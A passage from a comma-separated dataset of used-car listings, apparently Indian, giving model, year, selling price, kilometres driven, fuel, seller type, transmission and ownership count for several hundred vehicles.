IV,2015,320000,40000,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2006,100000,54000,Petrol,Individual,Manual,First Owner +Hyundai Verna CRDi,2009,160000,90000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSIII,2007,60000,52000,Petrol,Individual,Manual,First Owner +Tata Indigo LS,2012,100000,200000,Diesel,Individual,Manual,Third Owner +Chevrolet Beat Diesel LT,2016,350000,35000,Diesel,Individual,Manual,Second Owner +Renault Duster 110PS Diesel RxZ AWD,2017,700000,60000,Diesel,Individual,Manual,First Owner +Maruti Alto K10 VXI,2017,300000,31489,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Asta Option,2018,830000,40000,Diesel,Individual,Manual,First Owner +Mahindra Quanto C6,2013,220000,110000,Diesel,Individual,Manual,First Owner +Tata Indigo LX Dicor,2009,130000,50000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Magna,2012,330000,44000,Petrol,Individual,Manual,First Owner +Honda City 1.5 S MT,2010,254999,90000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX VTVT (O),2014,600000,50000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Magna,2012,210000,50000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 LXI BSIII,2007,120000,81366,Petrol,Individual,Manual,First Owner +Maruti Esteem Vxi - BSIII,2006,95000,110000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2006,229999,300000,Diesel,Individual,Manual,First Owner +Hyundai Verna Transform VTVT,2010,229999,70000,Petrol,Individual,Manual,First Owner +Hyundai i20 Magna Optional 1.4 CRDi,2013,400000,100000,Diesel,Individual,Manual,First Owner +Maruti Gypsy King Hard Top Ambulance BSIV,2005,300000,70000,Petrol,Individual,Manual,Second Owner +Ford Figo Diesel Celebration Edition,2013,300000,50000,Diesel,Individual,Manual,First Owner +Ford Fiesta 1.4 SXi TDCi,2009,80000,180000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC,2008,80000,50000,Petrol,Individual,Manual,Second Owner +Maruti Esteem Vxi,2007,100000,90000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Quadrajet LS,2012,300000,110000,Diesel,Individual,Manual,First Owner +Maruti Baleno Zeta Automatic,2018,700000,26000,Petrol,Individual,Automatic,First Owner +Maruti Vitara Brezza ZDi Plus,2016,975000,65000,Diesel,Individual,Manual,First Owner +Chevrolet Captiva LT,2009,500000,130000,Diesel,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL Optional,2013,550000,75000,Diesel,Individual,Manual,Second Owner +Nissan Terrano XV Premium 110 PS,2014,550000,110000,Diesel,Individual,Manual,Second Owner +Maruti Alto K10 2010-2014 VXI,2014,240000,50000,Petrol,Individual,Manual,First Owner +Maruti 800 Std,1997,50000,80000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Aura 1.2 Safire,2009,120000,80000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2013,900000,60000,Petrol,Individual,Manual,Second Owner +Honda City 1.5 V MT,2009,250000,90000,Petrol,Individual,Manual,Second Owner +Renault KWID 1.0 RXT Optional,2017,280000,36000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Terra Quadrajet 1.3L BS IV,2010,85000,87000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Terra 1.4 TDI,2011,90000,80000,Diesel,Individual,Manual,First Owner +Chevrolet Enjoy TCDi LT 8 Seater,2015,500000,50000,Diesel,Individual,Manual,First Owner +Maruti 800 Std,2013,200000,60000,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2015,250000,50000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,185000,40000,Diesel,Individual,Manual,Third Owner +Hyundai i10 Magna 1.1,2008,100000,60000,Petrol,Individual,Manual,Second Owner +Toyota Etios VXD,2015,610000,55000,Diesel,Individual,Manual,First Owner +Mahindra Quanto C8,2012,290000,80000,Diesel,Individual,Manual,First Owner +Mahindra Xylo E9,2012,300000,295000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2015,225000,80000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2017,320000,50000,Petrol,Individual,Manual,Second Owner +Tata Indigo CR4,2012,135000,158000,Diesel,Individual,Manual,Third Owner +Toyota Innova 2.5 G (Diesel) 7 Seater BS IV,2006,400000,400000,Diesel,Individual,Manual,Third Owner +Maruti Wagon R VXI BS IV,2016,400000,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.2 S,2017,570000,35000,Petrol,Individual,Manual,First Owner +Maruti Ignis 1.2 Zeta BSIV,2018,500000,12000,Petrol,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2015,130000,70000,Petrol,Individual,Manual,First Owner +Tata Tiago 1.2 Revotron XZ,2018,360000,4000,Petrol,Individual,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Trend,2017,530000,10832,Petrol,Dealer,Manual,First Owner +Hyundai i10 Era,2009,250000,50000,Petrol,Individual,Manual,First Owner +Nissan Sunny XL,2016,600000,19495,Petrol,Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxL Plus,2013,570000,62668,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 W6 2WD,2013,850000,85710,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel EXI,2011,250000,55130,Diesel,Dealer,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,580000,63356,Diesel,Dealer,Manual,Second Owner +Toyota Fortuner 3.0 Diesel,2012,1680000,129627,Diesel,Dealer,Manual,First Owner +Chevrolet Spark 1.0 LT,2010,180000,15000,Petrol,Individual,Manual,First Owner +Tata Tiago 1.2 Revotron XE,2017,300000,50000,Petrol,Individual,Manual,First Owner +Toyota Etios Liva VX,2012,269000,70000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 VXI,2018,231999,20000,Petrol,Individual,Manual,First Owner +Chevrolet Beat LS,2011,150000,60000,Petrol,Individual,Manual,Third Owner +Hyundai Grand i10 Asta Option,2017,495000,5000,Petrol,Individual,Manual,First Owner +Maruti Ciaz VXi,2014,700000,15000,Petrol,Individual,Manual,First Owner +Datsun GO Plus T BSIV,2018,400000,4400,Petrol,Individual,Manual,Second Owner +Mahindra Xylo H4,2019,599000,15000,Diesel,Individual,Manual,Third Owner +Renault Duster 85PS Diesel RxL Optional,2013,421000,45000,Diesel,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Trend BSIV,2018,841000,1000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.1L,2014,295000,38500,Petrol,Individual,Manual,First Owner +Hyundai i10 Sportz,2011,220000,25000,Petrol,Individual,Manual,First Owner +Ford Classic 1.4 Duratorq LXI,2013,250000,35000,Diesel,Individual,Manual,First Owner +Toyota Fortuner 3.0 Diesel,2009,1100000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 VTVT,2012,300000,40000,Petrol,Individual,Manual,First Owner +Chevrolet Aveo U-VA 1.2,2007,80000,110000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LT,2013,215000,20000,Diesel,Individual,Manual,Third Owner +Hyundai EON Magna Plus,2012,245000,14987,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2016,650000,25061,Diesel,Dealer,Manual,First Owner +Ford Ecosport 1.5 Diesel Titanium,2017,760000,42494,Diesel,Dealer,Manual,First Owner +Honda Amaze S i-Dtech,2014,395000,44875,Diesel,Dealer,Manual,First Owner +Ford Figo Diesel EXI,2014,280000,89741,Diesel,Dealer,Manual,Second Owner +Honda Jazz 1.5 S i DTEC,2016,495000,65000,Diesel,Dealer,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2016,525000,35000,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 GX 8 STR BSIV,2009,420000,347089,Diesel,Dealer,Manual,First Owner +Tata New Safari DICOR 2.2 VX 4x2,2010,210000,34500,Diesel,Individual,Manual,First Owner +Hyundai i20 Active 1.2 S,2018,650000,30000,Petrol,Individual,Manual,First Owner +BMW 3 Series 320d Luxury Line,2018,2300000,39000,Diesel,Individual,Automatic,First Owner +Ford Freestyle Titanium Plus Diesel BSIV,2019,525000,16000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI CNG,2010,195000,80000,CNG,Individual,Manual,Second Owner +Maruti Ertiga SHVS VDI,2016,650000,60000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 T6 Plus,2015,540000,110000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,180000,61000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus ZLX,2017,750000,29000,Diesel,Individual,Manual,First Owner +Maruti Ertiga SHVS ZDI Plus,2018,980000,50000,Diesel,Individual,Manual,First Owner +Fiat Grande Punto EVO 90HP 1.3 Sport,2014,250000,90000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz AT,2018,550000,35000,Petrol,Individual,Automatic,First Owner +Volkswagen Vento 1.6 Highline,2015,509999,43000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 LXI,2017,320000,50000,Petrol,Individual,Manual,First Owner +Hyundai EON D Lite,2016,275000,25000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,550000,222252,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Minor,2009,145000,50000,Petrol,Individual,Manual,Second Owner +Fiat Grande Punto Emotion 90Hp,2013,250000,80000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,520000,35000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2007,95000,85000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 V Diesel 7-seater,2011,725000,110000,Diesel,Individual,Manual,Third Owner +Maruti 800 AC,2006,55000,70000,Petrol,Individual,Manual,Second Owner +Honda City i DTEC VX,2014,600000,100000,Diesel,Individual,Manual,First Owner +Volkswagen Vento New Diesel Highline,2013,330000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2015,470000,89000,Diesel,Individual,Manual,First Owner +Maruti Swift ZDi,2013,365000,120000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2013,250000,40000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2017,430000,17000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI,2013,400000,125000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire ZXI,2015,615000,110000,Petrol,Individual,Manual,Second Owner +Ford Figo Diesel Titanium,2011,150000,120000,Diesel,Individual,Manual,Second Owner +Ford Figo Diesel ZXI,2014,240000,90000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S10 7 Seater,2014,800000,90000,Diesel,Individual,Manual,First Owner +Hyundai EON LPG Magna Plus,2015,240000,110000,LPG,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,600000,87000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio LX,2014,800000,15000,Diesel,Individual,Manual,First Owner +Hyundai EON 1.0 Kappa Magna Plus,2015,160000,70000,Petrol,Individual,Manual,First Owner +Ford Fiesta Classic 1.6 Duratec CLXI,2012,350000,38000,Petrol,Individual,Manual,First Owner +Honda City 1.5 V MT,2011,300000,64000,Petrol,Individual,Manual,Second Owner +Tata Sumo Gold EX BSIII,2015,399000,55250,Diesel,Individual,Manual,First Owner +Mahindra Bolero DI,2011,300000,110000,Diesel,Individual,Manual,First Owner +Maruti A-Star AT VXI,2012,150000,70000,Petrol,Individual,Automatic,First Owner +Chevrolet Cruze LTZ,2010,320000,60000,Diesel,Individual,Manual,Third Owner +Tata Hexa XM,2018,1280000,17000,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2017,300000,13000,Petrol,Individual,Manual,Second Owner +Nissan Terrano XL Plus ICC WT20 SE,2016,1000000,60000,Diesel,Individual,Manual,First Owner +Mitsubishi Pajero Sport 4X4,2012,1090000,120000,Diesel,Individual,Manual,Second Owner +Tata New Safari DICOR 2.2 GX 4x2 BS IV,2012,450000,97000,Diesel,Individual,Manual,Second Owner +Tata Indica GLS BS IV,2007,60000,130000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire ZXI,2013,500000,50000,Petrol,Individual,Manual,First Owner +Tata Indigo CR4,2012,200000,120000,Diesel,Individual,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Titanium,2015,650000,68000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2006,60000,100000,Petrol,Individual,Manual,Second Owner +Maruti Ertiga VDI,2013,250999,80000,Diesel,Individual,Manual,First Owner +Hyundai Accent Executive CNG,2012,185000,67000,CNG,Dealer,Manual,Second Owner +Maruti Alto K10 VXI,2015,155000,60000,Petrol,Individual,Manual,First Owner +Maruti Swift VXI,2019,600000,5000,Petrol,Individual,Manual,First Owner +Renault KWID RXE,2016,300000,20000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.6 E Plus,2018,850000,12500,Petrol,Individual,Manual,First Owner +Maruti Eeco CNG 5 Seater AC BSIV,2019,470000,4000,CNG,Individual,Manual,First Owner +Ford Figo 1.2P Titanium MT,2019,600000,25000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2013,700000,70000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LXI DUO BSIII,2007,70000,162000,LPG,Individual,Manual,First Owner +Toyota Fortuner 3.0 Diesel,2010,1250000,205000,Diesel,Individual,Manual,Second Owner +Audi A6 2.8 FSI,2008,650000,70000,Petrol,Individual,Automatic,Third Owner +Hyundai Xcent 1.2 CRDi S,2018,450000,70000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W8 2WD,2014,750000,100000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2013,775000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Santa Fe 4X4,2011,800000,220000,Diesel,Individual,Manual,First Owner +Honda Amaze E i-Vtech,2015,360000,80000,Petrol,Individual,Manual,Second Owner +Toyota Corolla Altis Diesel D4DG,2010,250000,120000,Diesel,Individual,Manual,First Owner +Jeep Compass 2.0 Longitude Option BSIV,2017,1490000,22038,Diesel,Individual,Manual,First Owner +Nissan Terrano XL 110 PS,2013,600000,80000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2010,120000,90000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2012,320000,140000,Diesel,Individual,Manual,Second Owner +Mahindra Thar 4X2,2011,400000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire ZDI,2015,302000,60000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LT,2011,130000,80000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire LXI Option,2014,150000,60000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Aura Plus 1.3 Quadrajet,2012,200000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G1 BSIV,2012,950000,80000,Diesel,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2008,120000,175000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W7 BSIV,2019,1400000,10000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Asta Option,2017,620000,65000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 GX 8 STR BSIV,2012,449000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi,2007,100000,70000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2018,600000,2500,Petrol,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2016,700000,35000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LT,2012,250000,40000,Diesel,Individual,Manual,First Owner +Maruti Baleno RS 1.0 Petrol,2018,550000,63000,Petrol,Individual,Manual,First Owner +Skoda Superb Ambition 2.0 TDI CR AT,2013,675000,88000,Diesel,Dealer,Automatic,First Owner +Nissan Terrano XL Plus 85 PS,2015,530000,55000,Diesel,Dealer,Manual,First Owner +Chevrolet Enjoy TCDi LT 7 Seater,2014,325000,71014,Diesel,Dealer,Manual,First Owner +Renault Scala Diesel RxL,2015,370000,60000,Diesel,Dealer,Manual,First Owner +Skoda Rapid 1.5 TDI Ambition,2014,360000,70000,Diesel,Individual,Manual,First Owner +Skoda Superb LK 1.8 TSI AT,2012,650000,60000,Petrol,Dealer,Automatic,First Owner +Ford Fiesta 1.5 TDCi Titanium,2012,199000,92000,Diesel,Dealer,Manual,Third Owner +Mahindra Quanto C6,2014,285000,89126,Diesel,Individual,Manual,First Owner +Volkswagen Jetta 1.9 TDI Comfortline DSG,2009,260000,134000,Diesel,Individual,Automatic,First Owner +Maruti Ciaz 1.4 AT Zeta,2019,869999,15000,Petrol,Dealer,Automatic,First Owner +Hyundai Grand i10 1.2 CRDi Magna,2016,425000,42500,Diesel,Dealer,Manual,First Owner +Chevrolet Cruze LTZ AT,2012,490000,42000,Diesel,Dealer,Automatic,First Owner +Mahindra XUV500 AT W8 FWD,2015,750000,70000,Diesel,Individual,Automatic,Second Owner +Honda City 1.5 EXI,2004,125000,110000,Petrol,Individual,Manual,Third Owner +Fiat Linea 1.3 Emotion,2014,221000,131365,Diesel,Individual,Manual,First Owner +Volkswagen Vento 1.5 TDI Highline AT,2016,724000,48980,Diesel,Dealer,Automatic,First Owner +Honda Amaze VX AT i-Vtech,2014,440000,46000,Petrol,Dealer,Automatic,First Owner +Chevrolet Spark 1.0 LS,2009,70000,60000,Petrol,Individual,Manual,Third Owner +Maruti Baleno Delta Diesel,2015,511000,58000,Diesel,Dealer,Manual,First Owner +Maruti S-Cross Alpha DDiS 200 SH,2016,790000,22000,Diesel,Dealer,Manual,First Owner +Hyundai i20 1.2 Asta Option,2017,640000,37000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2009,120000,70000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Beat Diesel LT,2012,126000,98900,Diesel,Individual,Manual,Third Owner +Chevrolet Beat Diesel LT,2012,120000,125000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 T4 Plus,2017,650000,60000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 Asta,2014,450000,80000,Petrol,Individual,Manual,Second Owner +Maruti Zen Estilo LXI Green (CNG),2010,110000,80000,CNG,Individual,Manual,Fourth & Above Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2017,600000,40000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2012,620000,80000,Diesel,Individual,Manual,Second Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,600000,30000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus ZLX,2018,795000,35000,Diesel,Individual,Manual,First Owner +Tata Winger Deluxe - Hi Roof (AC),2011,300000,180000,Diesel,Individual,Manual,Third Owner +Renault Lodgy 85PS RxL,2015,495000,60000,Diesel,Individual,Manual,First Owner +Audi A4 3.0 TDI Quattro,2013,1580000,86000,Diesel,Dealer,Automatic,First Owner +Audi Q3 2.0 TDI Quattro Premium Plus,2015,1750000,127643,Diesel,Dealer,Automatic,First Owner +Tata Hexa XTA,2018,1350000,34000,Diesel,Individual,Automatic,First Owner +Mahindra Xylo D4,2014,350000,145000,Diesel,Individual,Manual,First Owner +Datsun RediGO AMT 1.0 S,2018,300000,25000,Petrol,Individual,Automatic,First Owner +Tata Zest Revotron 1.2T XMS,2018,400000,54000,Petrol,Dealer,Manual,Second Owner +Audi A6 2.0 TDI Design Edition,2014,1750000,102354,Diesel,Dealer,Automatic,First Owner +Maruti Zen LX,1999,70000,70000,Petrol,Individual,Manual,Fourth & Above Owner +Nissan Sunny XL D,2018,500000,70000,Diesel,Individual,Manual,First Owner +Audi Q3 35 TDI Quattro Technology,2017,2575000,36000,Diesel,Dealer,Automatic,First Owner +Honda Brio VX,2014,345000,58000,Petrol,Dealer,Manual,First Owner +Tata Indigo CR4,2013,220000,100000,Diesel,Individual,Manual,First Owner +Audi Q5 2.0 TFSI Quattro Premium Plus,2014,1850000,62237,Petrol,Dealer,Automatic,First Owner +Hyundai Santro Xing XL eRLX Euro III,2005,114999,90000,Petrol,Dealer,Manual,Second Owner +Maruti 800 AC,1999,50000,100000,Petrol,Individual,Manual,Second Owner +Honda Jazz Select Edition,2017,585000,14000,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2018,950000,21394,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire AMT VXI,2018,625000,13800,Petrol,Individual,Automatic,First Owner +Hyundai Creta 1.6 SX Automatic,2017,1035000,23000,Petrol,Dealer,Automatic,First Owner +Datsun GO T Petrol,2015,310000,32686,Petrol,Dealer,Manual,First Owner +Mahindra Xylo D4,2017,600000,99700,Diesel,Individual,Manual,First Owner +Toyota Fortuner 2.8 4WD AT BSIV,2019,3100000,5000,Diesel,Individual,Automatic,First Owner +Honda City i-DTEC SV,2014,650000,49654,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 Asta,2016,550000,45457,Petrol,Dealer,Manual,First Owner +Hyundai Creta 1.6 CRDi SX,2017,1260000,39221,Diesel,Dealer,Manual,First Owner +Hyundai i20 Sportz 1.2,2016,660000,48220,Petrol,Dealer,Manual,First Owner +Hyundai i20 Sportz 1.2,2017,700000,11114,Petrol,Dealer,Manual,First Owner +Hyundai Getz 1.5 CRDi GVS,2008,235000,60208,Diesel,Dealer,Manual,First Owner +Volkswagen Vento 1.5 TDI Highline,2013,475000,80000,Diesel,Dealer,Manual,First Owner +Mercedes-Benz E-Class 280 CDI Elegance,2008,795000,98600,Diesel,Dealer,Automatic,First Owner +Audi RS7 2015-2019 Sportback Performance,2016,8900000,13000,Petrol,Dealer,Automatic,First Owner +Audi Q5 3.0 TDI Quattro Technology,2015,3200000,30000,Diesel,Dealer,Automatic,First Owner +MG Hector Smart AT,2019,1860000,18000,Petrol,Dealer,Automatic,First Owner +Land Rover Range Rover 4.4 Diesel LWB Vogue SE,2010,4200000,100000,Diesel,Dealer,Automatic,First Owner +Honda City VX CVT,2015,850000,58000,Petrol,Dealer,Automatic,First Owner +Mahindra Xylo D4,2017,585000,85441,Diesel,Dealer,Manual,First Owner +Mahindra Verito 1.5 D4 BSIV,2015,380000,64541,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2019,650000,35000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI Plus,2018,600000,30000,Petrol,Individual,Manual,First Owner +Nissan Micra Active XV,2017,434999,16267,Petrol,Dealer,Manual,First Owner +Volkswagen Vento 1.5 TDI Highline,2013,525000,71500,Diesel,Dealer,Manual,First Owner +BMW 5 Series 520d Luxury Line,2019,4800000,12999,Diesel,Dealer,Automatic,First Owner +Chevrolet Aveo U-VA 1.2 LS,2008,160000,80000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo 1.1 LXI BSIII,2007,160000,90000,Petrol,Individual,Manual,Second Owner +Chevrolet Spark 1.0 LT,2012,125000,28000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,430000,200000,Diesel,Individual,Manual,First Owner +Hyundai Creta 1.6 VTVT S,2017,900000,14700,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2000,61000,90000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI BS IV,2017,400000,50000,Petrol,Individual,Manual,First Owner +Hyundai Santro Xing XS,2009,150000,100000,Petrol,Individual,Manual,Second Owner +Volkswagen Polo GT 1.0 TSI,2019,950000,24000,Petrol,Individual,Automatic,First Owner +Tata Indigo CR4,2013,220000,100000,Diesel,Individual,Manual,First Owner +Hyundai Getz GLX,2007,110000,90000,Petrol,Individual,Manual,First Owner +Tata Bolt Revotron XM,2015,375000,30000,Petrol,Individual,Manual,First Owner +Datsun GO Plus T Option,2017,350000,80000,Petrol,Individual,Manual,First Owner +Hyundai i20 Magna 1.4 CRDi (Diesel),2012,310000,92686,Diesel,Dealer,Manual,Second Owner +Tata Indica GLS BS IV,2010,90000,300000,Petrol,Individual,Manual,Third Owner +Volkswagen Vento Petrol Highline,2011,350000,90000,Petrol,Individual,Manual,Second Owner +Hyundai Santro LS zipPlus,2003,100000,60000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 AT W6 2WD,2017,1300000,40000,Diesel,Individual,Automatic,First Owner +Maruti Wagon R LXI,2004,70000,90000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Sail Hatchback LT ABS,2013,225000,80000,Diesel,Individual,Manual,First Owner +Honda City 1.3 EXI,2002,145000,100000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2018,930000,20000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI,2019,550000,51000,Petrol,Individual,Manual,First Owner +Maruti Alto LX BSIII,2008,85000,120000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus Sports Edition,2014,280000,55000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,360000,6000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2011,150000,40000,Petrol,Individual,Manual,Second Owner +Skoda Rapid 1.6 MPI AT Ambition BSIV,2017,900000,15000,Petrol,Individual,Automatic,First Owner +Ambassador CLASSIC 1500 DSL AC,2005,120000,50000,Diesel,Individual,Manual,Second Owner +Fiat Linea T Jet Emotion,2010,215000,90000,Petrol,Individual,Manual,Second Owner +Renault Scala Diesel RxL,2013,550000,38500,Diesel,Individual,Manual,First Owner +Tata Nexon 1.2 Revotron XZ Plus Dual Tone,2018,775000,35000,Petrol,Individual,Manual,First Owner +Maruti Gypsy King HT BSIV,2001,409999,49359,Petrol,Individual,Manual,Third Owner +Maruti 800 AC Uniq,2005,65000,70000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2008,200000,90000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2010,240000,50000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 VX 8 STR,2012,800000,108731,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 EV Diesel MS 7 Str BSIII,2010,400000,120000,Diesel,Individual,Manual,First Owner +Tata Sumo Gold EX BSIII,2016,500000,60000,Diesel,Individual,Manual,First Owner +Mahindra Renault Logan 1.5 DLX Diesel,2007,150000,90000,Diesel,Individual,Manual,Third Owner +Toyota Etios GD,2014,500000,140000,Diesel,Individual,Manual,Second Owner +Hyundai EON Magna Plus,2014,320000,80000,Petrol,Individual,Manual,First Owner +Nissan Micra Diesel XV,2013,300000,90000,Diesel,Individual,Manual,First Owner +Renault Lodgy Stepway 85PS RXZ 8S,2017,650000,40000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2018,285000,14000,Petrol,Individual,Manual,First Owner +Tata Aria Pleasure 4x2,2012,360000,70000,Diesel,Individual,Manual,Second Owner +Honda Accord 2.4 MT,2009,450000,55000,Petrol,Individual,Manual,Second Owner +Maruti Alto LXi,2011,175000,60000,Petrol,Individual,Manual,Third Owner +Chevrolet Cruze LT,2011,350000,74000,Diesel,Individual,Manual,Second Owner +Ford Figo Aspire 1.5 TDCi Titanium,2020,530000,45000,Diesel,Dealer,Manual,First Owner +Honda City i-DTEC ZX,2017,1025000,38000,Diesel,Dealer,Manual,First Owner +Honda BR-V i-DTEC VX MT,2017,950000,24000,Diesel,Dealer,Manual,First Owner +Honda WR-V i-VTEC VX,2017,725000,29976,Petrol,Dealer,Manual,First Owner +Honda City i VTEC VX,2017,919999,41000,Petrol,Dealer,Manual,First Owner +Honda Jazz 1.5 V i DTEC,2018,700000,15000,Diesel,Dealer,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2017,725000,36000,Diesel,Dealer,Manual,First Owner +Honda BR-V i-VTEC VX MT,2017,840000,30646,Petrol,Dealer,Manual,First Owner +Maruti Wagon R VXI BS IV,2015,365000,23600,Petrol,Dealer,Manual,First Owner +Honda City i DTEC SV,2014,665000,71318,Diesel,Dealer,Manual,First Owner +Maruti 800 Std,2003,50000,78098,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2014,225000,30000,Petrol,Individual,Manual,First Owner +Hyundai i10 Era,2012,229999,45000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing GL,2008,145000,67000,Petrol,Individual,Manual,First Owner +Ford Figo Aspire Facelift,2018,624000,14681,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.4 VTVT,2015,500000,25000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Ti VCT MT Titanium BSIV,2017,750000,18054,Petrol,Dealer,Manual,First Owner +Honda City i DTEC VX,2015,785000,40000,Diesel,Individual,Manual,First Owner +Hyundai i10 Sportz,2011,225000,30000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi Base,2017,300000,80000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi,2016,680000,20000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 T8,2016,700000,40000,Diesel,Individual,Manual,First Owner +Tata Indigo CS eLS BS IV,2011,180000,120000,Diesel,Individual,Manual,First Owner +Ford Fiesta 1.4 SXi TDCi ABS,2008,270000,120000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VXi,2010,370000,97000,Petrol,Individual,Manual,Second Owner +Mahindra Xylo H8 ABS with Airbags,2018,1100000,70000,Diesel,Individual,Manual,First Owner +Hyundai Accent CRDi,2004,120000,120000,Diesel,Individual,Manual,Second Owner +Skoda Rapid 1.6 TDI PRESTIGE,2013,430000,88000,Diesel,Individual,Manual,Second Owner +Maruti Swift 